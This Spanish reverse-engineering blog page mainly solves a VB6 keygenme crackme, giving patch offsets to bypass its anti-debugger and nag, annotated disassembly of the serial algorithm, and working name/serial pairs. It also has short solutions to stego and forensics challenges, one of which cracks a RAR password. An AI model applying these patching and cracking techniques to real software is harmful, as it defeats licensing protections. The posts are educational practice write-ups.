Solución para el KeyGenMe#3 de T.0.R.N.A.D.0.

Intro

Hoy tenemos aquí un crackme del 2009 originario de crackmes.de. El Crackme está hecho en VB6, sin empacar y consta de 4 tareas a superar. Un anti-debugger, un parcheo, una sorpresa y finalmente un algoritmo sencillo.

Tarea#1 – Anti-Debugger

Nuestro primer incordio es el anti-debbuger. Este lo podemos afrontar de diferentes maneras, con un plugin desde Olly o de forma permanente parcheando. Si elegimos parchear debemos hacerlo en el offset 408328, cambiando el salto je por jmp.

00408328     /0F84 69030000         je T0RNAD0'.00408697

 Tarea#2 – Parche

Si iniciamos el crackme nos encontramos con la siguiente nag que nos impide el arranque.

01

Las referencias de texto parecen encriptadas así que, ponemos un breakpoint a MSVBVM60.rtcMsgBox y vemos que la llamada se hace desde el offset 406897. Un poco más arriba encontramos un salto condicional muy interesante, concretamente en el offset 40677B. Lo cambiamos por un jmp y arrancamos el programa.

Tarea#3 – Encontrando el camino

A continuación arranca el crackme y vemos lo siguiente.

04-10-2014 0-13-39

La sorpresa es que el formulario no se mueve y no hay rastro de las cajas de texto del keygenme. Por suerte para nosotros este crackme está hecho en vb6 y como tal podemos abrirlo con VB Reformer para ver que se nos ofrece.

Abrimos VB Reformer y cambiamos la propiedad «Moveable» del formulario a true.

04-10-2014 0-27-49

Ahora ya podemos mover el formulario y por suerte para nosotros, si lo movemos hacia la esquina superior izquierda aparecen las cajas de texto por arte de magia.

03-10-2014 12-41-51

Tarea#4 – El keygen

Como hemos dicho antes, las referencias de texto son inútiles, de modo que ponemos un breakpoint a MSVBVM60.__vbaStrCmp y enseguida obtenemos nuestro primer serial válido. También nos percatamos de que hasta que no metemos en el nombre 8 dígitos, no nos muestra un mensaje de error. De este mismo modo obtenemos que el nombre más grande puede tener 30 dígitos.

    Username: deurusab (lenght 8)
    0012F3F0   0040533A  RETURN to T0RNAD0'.0040533A from MSVBVM60.__vbaStrCmp
    0012F3F4   0015C954  UNICODE "L-8-deurus-0199F9CA"
    
    Username: abcdefghijklmnopqrstuvwxyz1234 (lenght 30)
    0012F3F0   0040533A  RETURN to T0RNAD0'.0040533A from MSVBVM60.__vbaStrCmp
    0012F3F4   0015F40C  UNICODE "L-30-lmnopq-DD19F9CA"

Finalmente llegamos a la rutina de comprobación del serial. Usaremos como nombre: abcdefghijklmnopqrstuvwxyz1234.

00404E82   .  52                    push edx
00404E83   .  56                    push esi
00404E84   .  C746 34 0DF0D1BA      mov dword ptr ds:[esi+34],BAD1F00D                                                    |Variables cachondas
00404E8B   .  C746 38 01ADDE10      mov dword ptr ds:[esi+38],10DEAD01                                                    |Variables cachondas
00404E92   .  C746 3C EFBE1010      mov dword ptr ds:[esi+3C],1010BEEF                                                    |Variables cachondas
00404E99   .  C746 40 D0BA0110      mov dword ptr ds:[esi+40],1001BAD0                                                    |Variables cachondas
00404EA0   .  FF91 2C070000         call ds:[ecx+72C]
00404EA6   .  3BC7                  cmp eax,edi
00404EA8   .  DBE2                  fclex
00404EAA   .  7D 12                 jge short T0RNAD0'.00404EBE
00404EAC   .  68 2C070000           push 72C
00404EB1   .  68 14404000           push T0RNAD0'.00404014
00404EB6   .  56                    push esi
00404EB7   .  50                    push eax
00404EB8   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
00404EBE   >  8B45 B4               mov eax,ss:[ebp-4C]
00404EC1   .  8D55 E0               lea edx,ss:[ebp-20]
00404EC4   .  52                    push edx
00404EC5   .  50                    push eax
00404EC6   .  8B08                  mov ecx,ds:[eax]
00404EC8   .  8985 48FFFFFF         mov ss:[ebp-B8],eax
00404ECE   .  FF91 A0000000         call ds:[ecx+A0]
00404ED4   .  3BC7                  cmp eax,edi
00404ED6   .  DBE2                  fclex
00404ED8   .  7D 18                 jge short T0RNAD0'.00404EF2
00404EDA   .  8B8D 48FFFFFF         mov ecx,ss:[ebp-B8]
00404EE0   .  68 A0000000           push 0A0
00404EE5   .  68 7C414000           push T0RNAD0'.0040417C
00404EEA   .  51                    push ecx
00404EEB   .  50                    push eax
00404EEC   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
00404EF2   >  8B45 E0               mov eax,ss:[ebp-20]                                                                       |Mueve el nombre a eax
00404EF5   .  8D55 A0               lea edx,ss:[ebp-60]
00404EF8   .  8945 A8               mov ss:[ebp-58],eax
00404EFB   .  6A 01                 push 1
00404EFD   .  8D45 90               lea eax,ss:[ebp-70]
00404F00   .  52                    push edx
00404F01   .  50                    push eax
00404F02   .  897D E0               mov ss:[ebp-20],edi
00404F05   .  C745 A0 08000000      mov dword ptr ss:[ebp-60],8
00404F0C   .  FF15 40114000         call ds:[<&MSVBVM60.#619>]                     ;  MSVBVM60.rtcRightCharVar
00404F12   .  8B3D D0104000         mov edi,ds:[<&MSVBVM60.__vbaStrVarVal>]        ;  MSVBVM60.__vbaStrVarVal
00404F18   .  8D4D 90               lea ecx,ss:[ebp-70]
00404F1B   .  8D55 DC               lea edx,ss:[ebp-24]
00404F1E   .  51                    push ecx
00404F1F   .  52                    push edx
00404F20   .  FFD7                  call edi                                       ;  <&MSVBVM60.__vbaStrVarVal>
00404F22   .  50                    push eax
00404F23   .  FF15 30104000         call ds:[<&MSVBVM60.#516>]                     ;  MSVBVM60.rtcAnsiValueBstr                |Toma el último dígito en ascii (4 asc = 34)
00404F29   .  66:6BC0 7B            imul ax,ax,7B                                                                              |34 * 7B = 18FC
00404F2D   .  8B4E 34               mov ecx,ds:[esi+34]                                                                        |Mueve BAD1F00D a ecx
00404F30   .  0F80 05070000         jo T0RNAD0'.0040563B
00404F36   .  0FBFC0                movsx eax,ax
00404F39   .  33C8                  xor ecx,eax                                                                                |18FC xor BAD1F00D = BAD1E8F1
00404F3B   .  894E 34               mov ds:[esi+34],ecx
00404F3E   .  8D4D DC               lea ecx,ss:[ebp-24]
00404F41   .  FF15 5C114000         call ds:[<&MSVBVM60.__vbaFreeStr>]             ;  MSVBVM60.__vbaFreeStr
00404F47   .  8D4D B4               lea ecx,ss:[ebp-4C]
00404F4A   .  FF15 60114000         call ds:[<&MSVBVM60.__vbaFreeObj>]             ;  MSVBVM60.__vbaFreeObj
00404F50   .  8D4D 90               lea ecx,ss:[ebp-70]
00404F53   .  8D55 A0               lea edx,ss:[ebp-60]
00404F56   .  51                    push ecx
00404F57   .  52                    push edx
00404F58   .  6A 02                 push 2
00404F5A   .  FF15 20104000         call ds:[<&MSVBVM60.__vbaFreeVarList>]         ;  MSVBVM60.__vbaFreeVarList
00404F60   .  8B06                  mov eax,ds:[esi]
00404F62   .  83C4 0C               add esp,0C
00404F65   .  8D4D B4               lea ecx,ss:[ebp-4C]
00404F68   .  51                    push ecx
00404F69   .  56                    push esi
00404F6A   .  FF90 2C070000         call ds:[eax+72C]
00404F70   .  85C0                  test eax,eax
00404F72   .  DBE2                  fclex
00404F74   .  7D 12                 jge short T0RNAD0'.00404F88
00404F76   .  68 2C070000           push 72C
00404F7B   .  68 14404000           push T0RNAD0'.00404014
00404F80   .  56                    push esi
00404F81   .  50                    push eax
00404F82   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
00404F88   >  8B45 B4               mov eax,ss:[ebp-4C]
00404F8B   .  8D4D E0               lea ecx,ss:[ebp-20]
00404F8E   .  51                    push ecx
00404F8F   .  50                    push eax
00404F90   .  8B10                  mov edx,ds:[eax]
00404F92   .  8985 48FFFFFF         mov ss:[ebp-B8],eax
00404F98   .  FF92 A0000000         call ds:[edx+A0]
00404F9E   .  85C0                  test eax,eax
00404FA0   .  DBE2                  fclex
00404FA2   .  7D 18                 jge short T0RNAD0'.00404FBC
00404FA4   .  8B95 48FFFFFF         mov edx,ss:[ebp-B8]
00404FAA   .  68 A0000000           push 0A0
00404FAF   .  68 7C414000           push T0RNAD0'.0040417C
00404FB4   .  52                    push edx
00404FB5   .  50                    push eax
00404FB6   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
00404FBC   >  8B45 E0               mov eax,ss:[ebp-20]
00404FBF   .  6A 01                 push 1
00404FC1   .  8945 A8               mov ss:[ebp-58],eax
00404FC4   .  8D45 A0               lea eax,ss:[ebp-60]
00404FC7   .  8D4D 90               lea ecx,ss:[ebp-70]
00404FCA   .  50                    push eax
00404FCB   .  51                    push ecx
00404FCC   .  C745 E0 00000000      mov dword ptr ss:[ebp-20],0
00404FD3   .  C745 A0 08000000      mov dword ptr ss:[ebp-60],8
00404FDA   .  FF15 2C114000         call ds:[<&MSVBVM60.#617>]                     ;  MSVBVM60.rtcLeftCharVar                    
00404FE0   .  8D55 90               lea edx,ss:[ebp-70]
00404FE3   .  8D45 DC               lea eax,ss:[ebp-24]
00404FE6   .  52                    push edx
00404FE7   .  50                    push eax
00404FE8   .  FFD7                  call edi
00404FEA   .  50                    push eax
00404FEB   .  FF15 30104000         call ds:[<&MSVBVM60.#516>]                     ;  MSVBVM60.rtcAnsiValueBstr                |Toma el primer dígito en ascii (a asc = 61)
00404FF1   .  66:6BC0 7B            imul ax,ax,7B                                                                              |61 * 7B = 2E9B
00404FF5   .  8B56 3C               mov edx,ds:[esi+3C]                                                                        |Mueve 1010BEEF a edx
00404FF8   .  0F80 3D060000         jo T0RNAD0'.0040563B
00404FFE   .  0FBFC8                movsx ecx,ax
00405001   .  33D1                  xor edx,ecx                                                                                | 2E9B xor 1010BEEF = 10109074
00405003   .  8D4D DC               lea ecx,ss:[ebp-24]
00405006   .  8956 3C               mov ds:[esi+3C],edx
00405009   .  FF15 5C114000         call ds:[<&MSVBVM60.__vbaFreeStr>]             ;  MSVBVM60.__vbaFreeStr
0040500F   .  8D4D B4               lea ecx,ss:[ebp-4C]
00405012   .  FF15 60114000         call ds:[<&MSVBVM60.__vbaFreeObj>]             ;  MSVBVM60.__vbaFreeObj
00405018   .  8D55 90               lea edx,ss:[ebp-70]
0040501B   .  8D45 A0               lea eax,ss:[ebp-60]
0040501E   .  52                    push edx
0040501F   .  50                    push eax
00405020   .  6A 02                 push 2
00405022   .  FF15 20104000         call ds:[<&MSVBVM60.__vbaFreeVarList>]         ;  MSVBVM60.__vbaFreeVarList
00405028   .  66:8BCB               mov cx,bx                                                                                 |Mueve a CX el tamaño del nombre
0040502B   .  83C4 0C               add esp,0C
0040502E   .  66:69C9 4101          imul cx,cx,141                                                                            |Tamaño nombre(1E) * 141 = 259E
00405033   .  8B46 3C               mov eax,ds:[esi+3C]
00405036   .  0F80 FF050000         jo T0RNAD0'.0040563B
0040503C   .  0FBFD1                movsx edx,cx
0040503F   .  8B4E 38               mov ecx,ds:[esi+38]                                                                       |Mueve a ECX 10DEAD01
00405042   .  33D0                  xor edx,eax                                                                               |10109074 xor 259E = 1010B5BA
00405044   .  33CA                  xor ecx,edx                                                                               |1010B5BA xor 10DEAD01 = 00CE18EB
00405046   .  66:8BD3               mov dx,bx
00405049   .  66:69D2 4101          imul dx,dx,141                                                                            |Tamaño nombre(1E) * 141 = 259E
0040504E   .  0F80 E7050000         jo T0RNAD0'.0040563B
00405054   .  894E 38               mov ds:[esi+38],ecx
00405057   .  81F1 01010101         xor ecx,1010101                                                                           |00CE18EB xor 1010101 = 01CF19EA (Temp1)
0040505D   .  0FBFD2                movsx edx,dx
00405060   .  3356 34               xor edx,ds:[esi+34]                                                                       |BAD1E8F1 xor 259E = BAD1CD6F
00405063   .  894E 38               mov ds:[esi+38],ecx
00405066   .  35 10101010           xor eax,10101010                                                                          |10109074 xor 10101010 = 8064
0040506B   .  8D4D B4               lea ecx,ss:[ebp-4C]
0040506E   .  3156 40               xor ds:[esi+40],edx                                                                       |BAD1CD6F xor 1001BAD0 = AAD077BF (Temp2)
00405071   .  8946 3C               mov ds:[esi+3C],eax
00405074   .  8B06                  mov eax,ds:[esi]
00405076   .  51                    push ecx
00405077   .  56                    push esi
00405078   .  FF90 2C070000         call ds:[eax+72C]
0040507E   .  85C0                  test eax,eax
00405080   .  DBE2                  fclex
00405082   .  7D 12                 jge short T0RNAD0'.00405096
00405084   .  68 2C070000           push 72C
00405089   .  68 14404000           push T0RNAD0'.00404014
0040508E   .  56                    push esi
0040508F   .  50                    push eax
00405090   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
00405096   >  8B45 B4               mov eax,ss:[ebp-4C]
00405099   .  8D4D DC               lea ecx,ss:[ebp-24]
0040509C   .  51                    push ecx
0040509D   .  50                    push eax
0040509E   .  8B10                  mov edx,ds:[eax]
004050A0   .  8985 48FFFFFF         mov ss:[ebp-B8],eax
004050A6   .  FF92 A0000000         call ds:[edx+A0]
004050AC   .  85C0                  test eax,eax
004050AE   .  DBE2                  fclex
004050B0   .  7D 18                 jge short T0RNAD0'.004050CA
004050B2   .  8B95 48FFFFFF         mov edx,ss:[ebp-B8]
004050B8   .  68 A0000000           push 0A0
004050BD   .  68 7C414000           push T0RNAD0'.0040417C
004050C2   .  52                    push edx
004050C3   .  50                    push eax
004050C4   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
004050CA   >  8B06                  mov eax,ds:[esi]
004050CC   .  8D4D B0               lea ecx,ss:[ebp-50]
004050CF   .  51                    push ecx
004050D0   .  56                    push esi
004050D1   .  FF90 2C070000         call ds:[eax+72C]
004050D7   .  85C0                  test eax,eax
004050D9   .  DBE2                  fclex
004050DB   .  7D 12                 jge short T0RNAD0'.004050EF
004050DD   .  68 2C070000           push 72C
004050E2   .  68 14404000           push T0RNAD0'.00404014
004050E7   .  56                    push esi
004050E8   .  50                    push eax
004050E9   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
004050EF   >  8B45 B0               mov eax,ss:[ebp-50]
004050F2   .  8D4D D0               lea ecx,ss:[ebp-30]
004050F5   .  51                    push ecx
004050F6   .  50                    push eax
004050F7   .  8B10                  mov edx,ds:[eax]
004050F9   .  8985 3CFFFFFF         mov ss:[ebp-C4],eax
004050FF   .  FF92 A0000000         call ds:[edx+A0]
00405105   .  85C0                  test eax,eax
00405107   .  DBE2                  fclex
00405109   .  7D 18                 jge short T0RNAD0'.00405123
0040510B   .  8B95 3CFFFFFF         mov edx,ss:[ebp-C4]
00405111   .  68 A0000000           push 0A0
00405116   .  68 7C414000           push T0RNAD0'.0040417C
0040511B   .  52                    push edx
0040511C   .  50                    push eax
0040511D   .  FF15 40104000         call ds:[<&MSVBVM60.__vbaHresultCheckObj>]     ;  MSVBVM60.__vbaHresultCheckObj
00405123   >  8B45 D0               mov eax,ss:[ebp-30]
00405126   .  6A 01                 push 1
00405128   .  8945 98               mov ss:[ebp-68],eax
0040512B   .  8D45 90               lea eax,ss:[ebp-70]
0040512E   .  8D4D 80               lea ecx,ss:[ebp-80]
00405131   .  50                    push eax
00405132   .  51                    push ecx
00405133   .  C745 A8 06000000      mov dword ptr ss:[ebp-58],6
0040513A   .  C745 A0 02000000      mov dword ptr ss:[ebp-60],2
00405141   .  C745 D0 00000000      mov dword ptr ss:[ebp-30],0
00405148   .  C745 90 08000000      mov dword ptr ss:[ebp-70],8
0040514F   .  FF15 40114000         call ds:[<&MSVBVM60.#619>]                     ;  MSVBVM60.rtcRightCharVar
00405155   .  8D55 80               lea edx,ss:[ebp-80]
00405158   .  8D45 CC               lea eax,ss:[ebp-34]
0040515B   .  52                    push edx
0040515C   .  50                    push eax
0040515D   .  FFD7                  call edi
0040515F   .  50                    push eax
00405160   .  FF15 30104000         call ds:[<&MSVBVM60.#516>]                     ;  MSVBVM60.rtcAnsiValueBstr
00405166   .  8B56 40               mov edx,ds:[esi+40]                                                                   |Mueve a EDX AAD077BF (Temp2)
00405169   .  68 90414000           push T0RNAD0'.00404190                         ;  UNICODE "L-"                        |Comienza el serial
0040516E   .  0FBFC8                movsx ecx,ax                                                                          |Mueve a ECX último dígito en ascii (34)
00405171   .  8B46 38               mov eax,ds:[esi+38]                                                                   |Mueve a EAX 01CF19EA (Temp1)
00405174   .  53                    push ebx                                                                                                                                                    
00405175   .  03D0                  add edx,eax                                                                           |AAD077BF + 01CF19EA = AC9F91A9
00405177   .  C785 70FFFFFF 0300000>mov dword ptr ss:[ebp-90],3
00405181   .  0F80 B4040000         jo T0RNAD0'.0040563B
00405187   .  03CA                  add ecx,edx                                                                           |AC9F91A9 + 34 = AC9F91DD (Nuestro serial)
00405189   .  0F80 AC040000         jo T0RNAD0'.0040563B
0040518F   .  898D 78FFFFFF         mov ss:[ebp-88],ecx
00405195   .  FF15 04104000         call ds:[<&MSVBVM60.__vbaStrI2>]               ;  MSVBVM60.__vbaStrI2
0040519B   .  8B3D 38114000         mov edi,ds:[<&MSVBVM60.__vbaStrMove>]          ;  MSVBVM60.__vbaStrMove
004051A1   .  8BD0                  mov edx,eax
004051A3   .  8D4D E0               lea ecx,ss:[ebp-20]
004051A6   .  FFD7                  call edi                                       ;  <&MSVBVM60.__vbaStrMove>
004051A8   .  50                    push eax                                                                              |EAX = tamaño del nombre
004051A9   .  FF15 38104000         call ds:[<&MSVBVM60.__vbaStrCat>]              ;  MSVBVM60.__vbaStrCat                |Concatena con "L-"
004051AF   .  8BD0                  mov edx,eax
004051B1   .  8D4D BC               lea ecx,ss:[ebp-44]
004051B4   .  FFD7                  call edi
004051B6   .  66:83EB 06            sub bx,6                                                                              |Tamaño nombre - 6 = 18
004051BA   .  50                    push eax
004051BB   .  0F80 7A040000         jo T0RNAD0'.0040563B
004051C1   .  0FBFCB                movsx ecx,bx
004051C4   .  898D 08FFFFFF         mov ss:[ebp-F8],ecx
004051CA   .  8D45 A0               lea eax,ss:[ebp-60]
004051CD   .  DB85 08FFFFFF         fild dword ptr ss:[ebp-F8]
004051D3   .  68 9C414000           push T0RNAD0'.0040419C
004051D8   .  50                    push eax
004051D9   .  DD9D 00FFFFFF         fstp qword ptr ss:[ebp-100]
004051DF   .  DD85 00FFFFFF         fld qword ptr ss:[ebp-100]
004051E5   .  833D 00A04000 00      cmp dword ptr ds:[40A000],0
004051EC   .  75 08                 jnz short T0RNAD0'.004051F6
004051EE   .  DC35 78114000         fdiv qword ptr ds:[401178]                                       |18 / 2 = C (C es la posición para cojer dígitos del nombre, coje 6)
004051F4   .  EB 11                 jmp short T0RNAD0'.00405207
004051F6   >  FF35 7C114000         push dword ptr ds:[40117C]
004051FC   .  FF35 78114000         push dword ptr ds:[401178]
00405202   .  E8 3DC0FFFF           call <jmp.&MSVBVM60._adj_fdiv_m64>
00405207   >  DFE0                  fstsw ax
00405209   .  A8 0D                 test al,0D
0040520B   .  0F85 25040000         jnz T0RNAD0'.00405636
00405211   .  FF15 44114000         call ds:[<&MSVBVM60.__vbaR8IntI4>]             ;  MSVBVM60.__vbaR8IntI4
00405217   .  8B55 DC               mov edx,ss:[ebp-24]                                                                   |EDX = nombre
0040521A   .  50                    push eax                                                                              |Eax = C
0040521B   .  52                    push edx
0040521C   .  FF15 6C104000         call ds:[<&MSVBVM60.#631>]                     ;  MSVBVM60.rtcMidCharBstr             |Mid(nombre,C,6) = "lmnopq"
00405222   .  8BD0                  mov edx,eax
00405224   .  8D4D D8               lea ecx,ss:[ebp-28]
00405227   .  FFD7                  call edi
00405229   .  8B1D 38104000         mov ebx,ds:[<&MSVBVM60.__vbaStrCat>]           ;  MSVBVM60.__vbaStrCat
0040522F   .  50                    push eax
00405230   .  FFD3                  call ebx                                       ;  <&MSVBVM60.__vbaStrCat>            |Concatena "-lmnopq"
00405232   .  8BD0                  mov edx,eax
00405234   .  8D4D D4               lea ecx,ss:[ebp-2C]
00405237   .  FFD7                  call edi
00405239   .  50                    push eax
0040523A   .  68 9C414000           push T0RNAD0'.0040419C
0040523F   .  FFD3                  call ebx                                                                             |Concatena "-lmnopq-"
00405241   .  8BD0                  mov edx,eax
00405243   .  8D4D C4               lea ecx,ss:[ebp-3C]
00405246   .  FFD7                  call edi
00405248   .  50                    push eax
00405249   .  8D85 70FFFFFF         lea eax,ss:[ebp-90]
0040524F   .  50                    push eax
00405250   .  FF15 F0104000         call ds:[<&MSVBVM60.#572>]                     ;  MSVBVM60.rtcHexBstrFromVar         |serial "AC9F91DD"
00405256   .  8BD0                  mov edx,eax
00405258   .  8D4D C8               lea ecx,ss:[ebp-38]
0040525B   .  FFD7                  call edi
0040525D   .  50                    push eax
0040525E   .  FF15 B4104000         call ds:[<&MSVBVM60.#713>]                     ;  MSVBVM60.rtcStrReverse             |Invierte el serial "DD19F9CA"
00405264   .  8BD0                  mov edx,eax
00405266   .  8D4D C0               lea ecx,ss:[ebp-40]
00405269   .  FFD7                  call edi
0040526B   .  50                    push eax
0040526C   .  FFD3                  call ebx                                                                             |Concatena "-lmnopq-DD19F9CA"
0040526E   .  8BD0                  mov edx,eax
00405270   .  8D4D B8               lea ecx,ss:[ebp-48]
00405273   .  FFD7                  call edi
00405275   .  50                    push eax
00405276   .  FFD3                  call ebx                                                                             |Concatena "L-30-lmnopq-DD19F9CA"
...
00405334   .  FF15 80104000         call ds:[<&MSVBVM60.__vbaStrCmp>]              ;  MSVBVM60.__vbaStrCmp               |Comparación final

Ejemplos:

Nombre: abcdefghijklmnopqrstuvwxyz1234

Serial: L-30-lmnopq-DD19F9CA

Nombre: deurus2014

Serial: L-10-eurus2-84D8F9CA

 Links


Intro Hoy nos enfrentamos a un crackme realizado en Delphi con un algoritmo bastante sencillo. Está empacado con UPX pero
En una entrada anterior sobre cómo Expediente X abordó la tecnología de vanguardia, comenté que dedicaría un espacio a esos
Intro Análisis Keygen Links Intro El crackme que analizamos hoy está hecho en ensamblador y si bien su dificultad es
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en

Wechall Stegano Attachment (Esteganografía)

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

En los retos de esteganografía ya uno se espera de todo, y cuantos más haces más enrevesados encuentras. Hoy no, hoy vamos a tratar un clásico dentro de este tipo de retos, ocultar un archivo dentro de otro.

Buscando la solución

Prácticamente lo primero que hago cuando me descargo una imágen en éste tipo de retos es abrirla con un editor hexadecimal, y en este caso hemos dado en el clavo. La abrimos con un editor cualquiera y al final del archivo encontramos que estamos tratando con un archivo ZIP (cabecera PK).

29-08-2014 03-00-03

La abrimos con 7zip y vemos el prometido archivo txt, dentro ¿qué abrá?

29-08-2014-03-02-19

Links

Stego XVI – Bytes

Intro

Os comparto un reto stego que me gustó cuando lo hice hace unos años. En realidad se tarda pocos minutos en resolverlo pero depende de tus recursos es posible que se te atragante.

Procesando a la víctima

Cuando te has enfrentado a unos cuantos retos stego lo normal es que tengas un arsenal de herramientas por las que vas a pasar a la víctima. En mi caso cuando se trata de imágenes, mi fondo de armario está formado por steganabara y stegsolve. Si con esas dos herramientas no lo veo claro ya empiezo a mirar en sus entrañas y en este caso es justo lo que hace falta, mirar en su interior.

La víctima

imagen original del reto

Estamos ante una imagen GIF de 6,36KB (6513 bytes) cuya resolución es 236×42. Debido a la extensión tenderemos a analizar los frames por si se trata de una animación. Una vez desestimada la animación entran en juego steganabara, stegsolve y demás familia. Si todo lo anterior falla abro el archivo con un editor hexadecimal y lo reviso manualmente por si hay algo que me llama la atención.

Bytes

Explorando el interior del archivo enseguida encontramos algo que llama la atención, una sucesión de bytes con espacios intercalados.

Tras copiar los bytes lo primero es eliminar los espacios y empezar a jugar con ellos. Una de las cosas que podemos hacer es convertir los bytes a ascii y voilá, nos encontramos con lo que parece otro archivo GIF.

Copiamos los bytes con la ayuda de nuestro editor hexadecimal favorito, guardamos el archivo como GIF y reto superado.

Enlaces

Nota: si algo os pide clave es deurus.info

Reto forense de HackThis!!

Intro

We require your services once again. An employee from our company had recently been identified as a known criminal named Brett Thwaits. He is considered to have stolen missile launch codes from the US navy which unfortunately were handed to us for a brief period of time. As of now, we are accussed of the theft and unless we do something about it, we’re gonna end in some serious trouble. Before Brett left, he formatted the thumbdrive which used to store the launch codes. Fortunately, our system had made a backup image of the drive. See if you can recover the fourth launch code. Good luck!

Requerimos una vez más sus servicios. Un empleado de nuestra empresa había sido identificado recientemente como el conocido criminal Brett Thwaites. Se considera que ha robado los códigos de lanzamiento de misiles de la Armada de Estados Unidos, que por desgracia fueron entregados a nosotros por un breve período de tiempo. A partir de ahora, se nos acusa del robo y a menos que hagamos algo al respecto, vamos a tener serios problemas. Antes de que Brett se fuera formateó el dispositivo que se usa para almacenar los códigos de lanzamiento. Afortunadamente, nuestro sistema había hecho una copia de seguridad de la unidad. Mira a ver si puedes recuperar los cuatro códigos de lanzamiento. ¡Buena suerte!

Análisis del archivo

  • Fichero: forensics1
  • Extensión: img
  • Tamaño: 25 MB (26.214.400 bytes)
  • Hash MD5: 56e4cd5b8f076ba8b7c020c7339caa2b

Echamos un vistazo al archivo con un editor hexadecimal y vemos encabezados de tipos de archivos conocidos, por lo que la unidad no está encriptada. Al no estar encriptada la imagen, usaremos una herramienta de creación propia, Ancillary. En esta ocasión usaremos la versión 2 alpha, que actualmente está en desarrollo, pero podéis usar tranquilamente la versión 1.x.

Ancillary nos muestra lo que ha encontrado en el archivo por lo que pasamos a analizarlo.

2016-03-06_11-20-52

Como siempre os digo en este tipo de retos, es difícil discriminar unos ficheros en favor de otros, ya que no sabemos si lo que buscamos va a estar en una imagen, documento u otro tipo de fichero codificado o no.

2016-03-06_11-33-55

Tras analizar todos los ficheros, rápidamente suscitan nuestro interés los ficheros RAR, y más cuando el fichero que contienen es un fichero de audio y su nombre es tan sugerente como «conversation_dtmf.wav«. Como podéis apreciar en la imagen, el fichero RAR está protegido con clave por lo que necesitamos esquivar ese obstaculo.

2016-03-06_11-35-32

Recuperando una clave de un archivo RAR

En este caso el software que voy a utilizar es cRARk, pero podéis utilizar cualquier otro. Como se muestra en la imagen de abajo, mi procesador es más bien modesto pero la clave no tiene más que tres dígitos por lo que no supone ninguna dificultad recuperarla.

2016-03-06_11-42-40

DTMF (Dual-Tone Multi-Frequency)

Una vez recuperado el archivo WAV, al reproducirlo escuchamos 16 tonos telefónicos que inmediatamente me recuerdan las aventuras del mítico «Capitán Crunch«. Os animo a leer la historia de John Draper y su famosa «Blue Box» ya que no tiene desperdicio y forma parte de la historia del Phreaking.

Por si no conocías la historia, el propio nombre del fichero wav nos da la pista clave de qué buscar al contener las siglas «DTMF«.

Al ser pulsada en el teléfono la tecla correspondiente al dígito que quiere marcar, se envían dos tonos, de distinta frecuencia: uno por columna y otro por fila en la que esté la tecla, que la central decodifica a través de filtros especiales, detectando qué dígito se marcó.

No tenemos más que buscar un decodificador de tonos para obtener los preciados códigos de lanzamiento.

2016-03-06_11-44-24

Links

Solución al Time Trial de Detten

Intro

Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección por tiempo límite a través de un keyfile llamado «data.det«. Disponemos de tres días o nueve sesiones antes de que el crackme expire.

El algoritmo

La primera vez que ejecutamos el crackme, crea el fichero «data.det» y realiza lo siguiente:

  • Lee el fichero data.det que inicialmente tiene 10 bytes a cero y el último byte un 60(`).
  • Comprueba que tenga 11 bytes (B) y continúa.
  • Al detectar el fichero vacío le mete valores codificandolos con XOR 6969. Los almacena en memoria 4030AB y siguientes.
00401000 t>/$  6A 00               PUSH 0                                    ; /pModule = NULL
00401002   |.  E8 0B020000         CALL <JMP.&KERNEL32.GetModuleHandleA>     ; \GetModuleHandleA
00401007   |.  A3 F4304000         MOV DWORD PTR DS:[4030F4],EAX             ;  kernel32.BaseThreadInitThunk
0040100C   |.  6A 00               PUSH 0                                    ; /hTemplateFile = NULL
0040100E   |.  68 80000000         PUSH 80                                   ; |Attributes = NORMAL
00401013   |.  6A 03               PUSH 3                                    ; |Mode = OPEN_EXISTING
00401015   |.  6A 00               PUSH 0                                    ; |pSecurity = NULL
00401017   |.  6A 00               PUSH 0                                    ; |ShareMode = 0
00401019   |.  68 000000C0         PUSH C0000000                             ; |Access = GENERIC_READ|GENERIC_WRITE
0040101E   |.  68 A2304000         PUSH timetria.004030A2                    ; |FileName = "DATA.DET"
00401023   |.  E8 DE010000         CALL <JMP.&KERNEL32.CreateFileA>          ; \CreateFileA
00401028   |.  83F8 FF             CMP EAX,-1
0040102B   |.  74 07               JE SHORT timetria.00401034
0040102D   |.  A3 14314000         MOV DWORD PTR DS:[403114],EAX             ;  kernel32.BaseThreadInitThunk
00401032   |.  EB 18               JMP SHORT timetria.0040104C
00401034   |>  6A 30               PUSH 30                                   ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
00401036   |.  68 38304000         PUSH timetria.00403038                    ; |Title = "I don't like this !"
0040103B   |.  68 02304000         PUSH timetria.00403002                    ; |Text = "Where is my DATA.DET file?\r\nI can't run without it..."
00401040   |.  6A 00               PUSH 0                                    ; |hOwner = NULL
00401042   |.  E8 B3010000         CALL <JMP.&USER32.MessageBoxA>            ; \MessageBoxA
00401047   |.  E9 22010000         JMP timetria.0040116E
0040104C   |>  6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040104E   |.  68 E0304000         PUSH timetria.004030E0                    ; |pBytesRead = timetria.004030E0
00401053   |.  6A 32               PUSH 32                                   ; |BytesToRead = 32 (50.)
00401055   |.  68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040105A   |.  FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = NULL
00401060   |.  E8 B9010000         CALL <JMP.&KERNEL32.ReadFile>             ; \ReadFile
